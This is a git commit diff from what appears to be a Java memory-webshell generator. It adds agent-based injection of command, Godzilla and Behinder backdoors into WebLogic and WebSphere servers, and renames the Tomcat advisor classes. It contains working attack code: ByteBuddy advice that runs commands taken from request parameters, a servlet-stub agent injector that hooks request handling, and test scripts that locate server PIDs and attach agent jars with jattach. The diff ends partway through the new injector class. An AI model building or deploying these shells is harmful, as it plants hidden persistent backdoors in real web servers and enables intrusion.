feat: support was and weblogic agent shell

This commit is contained in:
ReaJason
2025-01-03 22:05:54 +08:00
parent 550ea678e5
commit 6026eb9165
20 changed files with 266 additions and 47 deletions
-1
View File
@@ -10,7 +10,6 @@ allprojects {
idea {
module {
excludeDirs -= file('build')
excludeDirs += file('src')
}
}
@@ -1,6 +1,8 @@
package com.reajason.javaweb;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.WebLogicShell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
@@ -10,6 +12,8 @@ import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
/**
* @author ReaJason
@@ -19,9 +23,9 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Apusic)
.shellTool(ShellTool.Godzilla)
.shellType(Constants.SERVLET)
.server(Server.Jetty)
.shellTool(ShellTool.Command)
.shellType(JettyShell.AGENT_HANDLER)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
@@ -39,12 +43,12 @@ public class GeneratorMain {
InjectorConfig injectorConfig = new InjectorConfig();
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
if (generateResult != null) {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
@@ -10,12 +11,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.tomcat.injector.*;
import org.apache.commons.lang3.tuple.Pair;
@@ -45,8 +46,8 @@ public class TomcatShell extends AbstractShell {
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
);
}
@@ -62,8 +63,8 @@ public class TomcatShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
@@ -78,8 +79,8 @@ public class TomcatShell extends AbstractShell {
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
);
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletStubAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/24
*/
public class WebLogicShell extends AbstractShell {
public static final String AGENT_SERVLET_STUB = AGENT + "ServletStub";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
);
}
@@ -37,7 +44,8 @@ public class WebLogicShell extends AbstractShell {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
);
}
@@ -46,7 +54,8 @@ public class WebLogicShell extends AbstractShell {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class),
AGENT_SERVLET_STUB, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
);
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
@@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class),
AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
);
}
@@ -37,7 +44,8 @@ public class WebSphereShell extends AbstractShell {
return Map.of(
SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class),
AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
);
}
@@ -46,7 +54,8 @@ public class WebSphereShell extends AbstractShell {
return Map.of(
SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class),
AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
);
}
}
@@ -0,0 +1,11 @@
services:
weblogic12214:
image: reajason/weblogic:12.2.1.4
container_name: weblogic12214
ports:
- "7001:7001"
- "5005:5005"
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/u01/oracle/user_projects/domains/domain1/autodeploy/app.war
+12
View File
@@ -0,0 +1,12 @@
#!/bin/bash
pid=""
if command -v ps &> /dev/null; then
pid=$(ps -ef | grep weblogic | grep -v grep | awk '{print $2}')
fi
if [ -z "$pid" ]; then
pid=$(jps 2>/dev/null | grep " Server" | awk '{print $1}')
fi
echo "$pid" | tr -d '\n'
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
ps -ef | grep WSLauncher | grep -v grep | awk '{print $2}' | tr -d '\n'
@@ -24,6 +24,8 @@ public class ContainerTool {
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("../asserts/agent/jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script/tomcat_pid.sh"));
public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh"));
public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh"));
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
@@ -16,7 +16,10 @@ import org.testcontainers.utility.MountableFile;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
/**
* @author ReaJason
@@ -51,11 +54,15 @@ public class ShellAssertionTool {
Path tempJar = Files.createTempFile("temp", "jar");
Files.write(tempJar, bytes);
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath);
container.copyFileToContainer(MountableFile.forHostPath(tempJar, 644), jarPath);
FileUtils.deleteQuietly(tempJar.toFile());
String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout();
assertDoesNotThrow(() -> Long.parseLong(pidInContainer));
String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout();
assertTrue(stdout.contains("JVM response code = 0"));
assertThat(stdout, anyOf(
containsString("ATTACH_ACK"),
containsString("JVM response code = 0")
));
} else {
content = packer.getPacker().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
@@ -1,5 +1,7 @@
package com.reajason.javaweb.integration.weblogic;
import com.reajason.javaweb.memshell.WebLogicShell;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.junit.jupiter.params.provider.Arguments.arguments;
@@ -32,6 +34,8 @@ public class WebLogic1036ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(7001);
@@ -45,19 +49,23 @@ public class WebLogic1036ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.weblogic;
import com.reajason.javaweb.memshell.WebLogicShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -34,6 +35,8 @@ public class WebLogic12214ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(7001);
@@ -47,7 +50,10 @@ public class WebLogic12214ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -60,7 +66,7 @@ public class WebLogic12214ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.weblogic;
import com.reajason.javaweb.memshell.WebLogicShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -17,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -34,6 +35,8 @@ public class WebLogic14110ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(7001);
@@ -47,7 +50,10 @@ public class WebLogic14110ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_STUB, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -60,7 +66,7 @@ public class WebLogic14110ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.websphere;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +37,8 @@ public class WebSphere855ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@@ -50,7 +53,11 @@ public class WebSphere855ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -64,7 +71,7 @@ public class WebSphere855ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.websphere;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
@@ -19,7 +20,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,6 +37,8 @@ public class WebSphere905ContainerTest {
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war", BindMode.READ_WRITE)
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@@ -50,7 +53,10 @@ public class WebSphere905ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
);
}
@@ -63,7 +69,7 @@ public class WebSphere905ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.behinder;
package com.reajason.javaweb.memshell.shelltool.behinder;
import net.bytebuddy.asm.Advice;
@@ -17,7 +17,7 @@ import java.util.Map;
/**
* @author ReaJason
*/
public class TomcatFilterChainBehinderAdvisor {
public class BehinderFilterChainAdvisor {
public static String pass;
public static String headerName;
public static String headerValue;
@@ -27,6 +27,9 @@ public class TomcatFilterChainBehinderAdvisor {
@Advice.Argument(value = 0) ServletRequest req,
@Advice.Argument(value = 1) ServletResponse res
) {
if (!(req instanceof HttpServletRequest)) {
return false;
}
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.command;
package com.reajason.javaweb.memshell.shelltool.command;
import net.bytebuddy.asm.Advice;
@@ -10,7 +10,7 @@ import java.io.InputStream;
/**
* @author ReaJason
*/
public class TomcatFilterChainCommandAdvisor {
public class CommandFilterChainAdvisor {
public static String paramName;
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
@@ -18,7 +18,6 @@ public class TomcatFilterChainCommandAdvisor {
@Advice.Argument(value = 0) ServletRequest request,
@Advice.Argument(value = 1) ServletResponse response
) {
System.out.println(paramName);
String cmd = request.getParameter(paramName);
try {
if (cmd != null) {
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.tomcat.godzilla;
package com.reajason.javaweb.memshell.shelltool.godzilla;
import net.bytebuddy.asm.Advice;
@@ -15,7 +15,7 @@ import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class TomcatFilterChainGodzillaAdvisor {
public class GodzillaFilterChainAdvisor {
public static String key;
public static String pass;
public static String md5;
@@ -0,0 +1,65 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/**
* @author ReaJason
* @since 2025/1/3
*/
public class WebLogicServletStubAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("execute").and(takesArguments(3))));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
